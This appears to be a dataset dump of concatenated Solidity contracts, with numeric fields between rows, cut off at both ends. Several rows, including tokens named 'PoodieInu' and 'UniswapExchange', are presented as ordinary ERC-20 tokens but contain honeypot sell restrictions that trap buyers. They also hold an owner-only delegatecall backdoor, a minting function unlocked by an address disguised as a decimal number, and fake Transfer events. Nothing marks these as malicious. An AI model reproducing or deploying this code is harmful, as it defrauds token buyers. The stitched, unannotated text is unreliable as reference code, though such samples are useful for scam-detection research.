0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = msg.sender; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
1,189
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PoodieInu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
328
pragma solidity ^0.6.2; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity 0.6.12; contract BigBag { using SafeERC20 for IERC20; address payable dao = 0x28A3D3467A3198D1bb5311836036D53c3C64b999; address public dao_agent = 0x8c3ad3580A8635e236ccE26D2851AAf10401E262; IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7); uint256 public amount_wei = 100 ether; uint256 public amount_wn = 2717982170036; function buy() payable external { require(msg.value == amount_wei, "transaction value does not match"); xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn); dao.call{gas: 50000, value: msg.value}(""); require(address(this).balance == 0, "transfer is not complete"); } }
0
648
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract DappVolumeAd { using SafeMath for uint256; uint256 public dappId; uint256 public purchaseTimestamp; uint256 public purchaseSeconds; uint256 public investmentMin; uint256 public adPriceHour; uint256 public adPriceHalfDay; uint256 public adPriceDay; uint256 public adPriceWeek; uint256 public adPriceMultiple; address public contractOwner; address public lastOwner; address public theInvestor; modifier onlyContractOwner { require(msg.sender == contractOwner); _; } constructor() public { investmentMin = 4096000000000000000; adPriceHour = 5000000000000000; adPriceHalfDay = 50000000000000000; adPriceDay = 100000000000000000; adPriceWeek = 500000000000000000; adPriceMultiple = 2; contractOwner = msg.sender; theInvestor = 0x1C26d2dFDACe03F0F6D0AaCa233D00728b9e58da; lastOwner = contractOwner; } function withdraw() public onlyContractOwner { contractOwner.transfer(address(this).balance); } function setAdPriceMultiple(uint256 amount) public onlyContractOwner { adPriceMultiple = amount; } function updateAd(uint256 id) public payable { require(msg.value >= adPriceMultiple.mul(adPriceHour)); require(block.timestamp > purchaseTimestamp.add(purchaseSeconds)); require(id > 0); theInvestor.send(msg.value.div(10)); lastOwner.send(msg.value.div(2)); if (msg.value >= adPriceMultiple.mul(adPriceWeek)) { purchaseSeconds = 604800; } else if (msg.value >= adPriceMultiple.mul(adPriceDay)) { purchaseSeconds = 86400; } else if (msg.value >= adPriceMultiple.mul(adPriceHalfDay)) { purchaseSeconds = 43200; } else { purchaseSeconds = 3600; } dappId = id; purchaseTimestamp = block.timestamp; lastOwner = msg.sender; } function updateInvestor() public payable { require(msg.value >= investmentMin); theInvestor.send(msg.value.div(100).mul(60)); investmentMin = investmentMin.mul(2); theInvestor = msg.sender; } function getPurchaseTimestampEnds() public view returns (uint _getPurchaseTimestampAdEnds) { return purchaseTimestamp.add(purchaseSeconds); } function getBalance() public view returns(uint256){ return address(this).balance; } }
0
2,144
contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0x782495b7b3355efb2833d56ecb34dc22ad7dfcc4); address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
0
897
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
30
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 